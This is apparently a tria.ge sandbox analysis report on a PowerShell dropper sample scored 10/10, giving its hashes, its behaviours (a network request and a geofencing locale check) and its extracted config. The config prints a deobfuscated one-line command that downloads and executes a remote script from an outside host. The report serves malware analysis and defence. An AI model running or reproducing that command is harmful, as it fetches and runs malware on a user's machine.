Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    3c61d239a11ae0d2be0f6bd9c3e3b715.unknown

  • Size

    78KB

  • Sample

    240106-l4cs2sdbdk

  • MD5

    3c61d239a11ae0d2be0f6bd9c3e3b715

  • SHA1

    34b463b87711ce55d58a4256cc3802e11ae0906f

  • SHA256

    6db41851a55f3efacb61f780d08271b884a5fe346725b7e22b1e082702dcab62

  • SHA512

    40c023c05c55a197204c3708d7f5769e7f309322fd109cc2d09ceec9a4fc54a4929e9ec42b5ff8c126fbfb2557cc1589fd65667b174fc8876ab39375b6757d13

  • SSDEEP

    1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oU:59Ry98guHVBqqg2bcruzUHmLKeMMU7GK

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
1
invoke-expression (new-object net.webclient).downloadstring("http://smart-integrator.hr/pornhub.php")
2
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Targets

    • Target

      3c61d239a11ae0d2be0f6bd9c3e3b715.unknown

    • Size

      78KB

    • MD5

      3c61d239a11ae0d2be0f6bd9c3e3b715

    • SHA1

      34b463b87711ce55d58a4256cc3802e11ae0906f

    • SHA256

      6db41851a55f3efacb61f780d08271b884a5fe346725b7e22b1e082702dcab62

    • SHA512

      40c023c05c55a197204c3708d7f5769e7f309322fd109cc2d09ceec9a4fc54a4929e9ec42b5ff8c126fbfb2557cc1589fd65667b174fc8876ab39375b6757d13

    • SSDEEP

      1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oU:59Ry98guHVBqqg2bcruzUHmLKeMMU7GK

    Score
    10/10
    • Blocklisted process makes network request

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.